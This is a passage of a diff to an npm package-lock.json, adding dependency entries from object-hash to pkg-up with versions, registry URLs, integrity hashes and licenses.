"is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/object-inspect": { + "version": "1.12.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", + "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.6.tgz", + "integrity": "sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7", + "define-properties": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object-visit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", + "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.entries": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz", + "integrity": "sha512-TyxmjUoZggd4OrrU1W66FMDG6CuqJxsFvymeyXI51+vQLN67zYfZseptRge703kKQdo4uccgAKebXFcRCzk4+g==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.fromentries": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.5.tgz", + "integrity": "sha512-CAyG5mWQRRiBU57Re4FKoTBjXfDoNwdFVH2Y1tS9PqCsfUTymAohOkEMSG3aRNKmv4lV3O7p1et7c187q6bynw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.getownpropertydescriptors": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.4.tgz", + "integrity": "sha512-sccv3L/pMModT6dJAYF3fzGMVcb38ysQ0tEE6ixv2yXJDtEIPph268OlAdJj5/qZMZDq2g/jqvwppt36uS/uQQ==", + "license": "MIT", + "dependencies": { + "array.prototype.reduce": "^1.0.4", + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.hasown": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.1.tgz", + "integrity": "sha512-LYLe4tivNQzq4JdaWW6WO3HMZZJWzkkH8fnI6EebWl0VZth2wL2Lovm74ep2/gZzlaTdV62JZHEqHQ2yVn8Q/A==", + "license": "MIT", + "dependencies": { + "define-properties": "^1.1.4", + "es-abstract": "^1.19.5" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object.pick": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", + "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object.values": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz", + "integrity": "sha512-QUZRW0ilQ3PnPpbNtgdNV1PDbEqLIiSFB3l+EnGtBQ/8SUTLj1PZwtQHABZtLgwpJZTSZhuGLOGk57Drx2IvYg==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3", + "es-abstract": "^1.19.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/oblivious-set": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/oblivious-set/-/oblivious-set-1.0.0.tgz", + "integrity": "sha512-z+pI07qxo4c2CulUHCDf9lcqDlMSo72N/4rLUpRXf6fu+q8vjt8y0xS+Tlf8NTJDdTXHbdeO1n3MlbctwEoXZw==", + "license": "MIT" + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "license": "MIT" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "license": "MIT", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/open/-/open-8.4.0.tgz", + "integrity": "sha512-XgFPPM+B28FtCCgSb9I+s9szOC1vZRSwgWsRUA5ylIxRTgKozqjOCrVOqGsYABPYK5qnfqClxZTFBa8PKt2v6Q==", + "license": "MIT", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "dev": true, + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/orkes-workflow-visualizer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/orkes-workflow-visualizer/-/orkes-workflow-visualizer-1.0.0.tgz", + "integrity": "sha512-74AP8HZeAnWja8oQCgkexik9P+oBt9EBdM13joip1VdUOklIDknSFCRKDmtNXERxU/STEcU9hEDlwOvdl3Za4w==", + "dependencies": { + "date-fns": "^2.29.3", + "lodash": "^4.17.21", + "phosphor-react": "^1.4.1", + "prismjs": "^1.29.0", + "reaflow": "5.1.2", + "vite-plugin-circular-dependency": "^0.5.0", + "vite-plugin-dts": "^4.2.4" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/ospath": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/ospath/-/ospath-1.2.2.tgz", + "integrity": "sha512-o6E5qJV5zkAbIDNhGSIlyOhScKXgQrSRMilfph0clDfM0nEnBOlKlH4sWDmG95BW/CvwNz0vmm7dJVtU2KlMiA==", + "dev": true, + "license": "MIT" + }, + "node_modules/p-cancelable": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-3.0.0.tgz", + "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==", + "license": "MIT", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/param-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-svg-path": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/parse-svg-path/-/parse-svg-path-0.1.2.tgz", + "integrity": "sha512-JyPSBnkTJ0AI8GGJLfMXvKq42cj5c006fnLz6fXy6zfoVjJizi8BNTpu8on8ziI1cKy9d9DGNuY17Ce7wuejpQ==", + "license": "MIT" + }, + "node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==", + "license": "MIT" + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pascal-case/-/pascal-case-3.1.2.tgz", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/pascal-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/pascalcase": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", + "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-browserify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", + "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", + "license": "MIT" + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "license": "MIT" + }, + "node_modules/path-to-regexp": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", + "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", + "license": "MIT", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "license": "MIT" + }, + "node_modules/pause-stream": { + "version": "0.0.11", + "resolved": "https://registry.npmjs.org/pause-stream/-/pause-stream-0.0.11.tgz", + "integrity": "sha512-e3FBlXLmN/D1S+zHzanP4E/4Z60oFAa3O051qt1pxa7DEJWKAyil6upYVXCWadEnuoqa4Pkc9oUx9zsxYeRv8A==", + "dev": true, + "license": [ + "MIT", + "Apache2" + ], + "dependencies": { + "through": "~2.3" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "dev": true, + "license": "MIT" + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==", + "license": "MIT" + }, + "node_modules/phosphor-react": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/phosphor-react/-/phosphor-react-1.4.1.tgz", + "integrity": "sha512-gO5j7U0xZrdglTAYDYPACU4xDOFBTJmptrrB/GeR+tHhCZF3nUMyGmV/0hnloKjuTrOmpSFlbfOY78H39rgjUQ==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": ">=16" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.5.tgz", + "integrity": "sha512-8V9+HQPupnaXMA23c5hvl69zXvTwTzyAYasnkb0Tts4XvO4CliqONMOnvlq26rkhLC3nWDFBJf73LU1e1VZLaQ==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz", + "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-dir/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-dir/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/pkg-types": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-1.2.1.tgz", + "integrity": "sha512-sQoqa8alT3nHjGuTjuKgOnvjo4cljkufdtLMnO2LBP/wRwuDlo1tkaEdMxCRhyGRPacv/ztlZgDPm2b7FAmEvw==", + "license": "MIT", + "dependencies": { + "confbox": "^0.1.8", + "mlly": "^1.7.2", + "pathe": "^1.1.2" + } + }, + "node_modules/pkg-up": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz", + "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==", + "license": "MIT", + "dependencies": { + "find-up": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pkg-up/node_modules/find-up": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", + "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", + "license": "MIT", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz", + "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==", + "license": "MIT", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-up/node_modules/p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", + "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", + "license": "MIT", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/pkg-up/node_modules/path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + 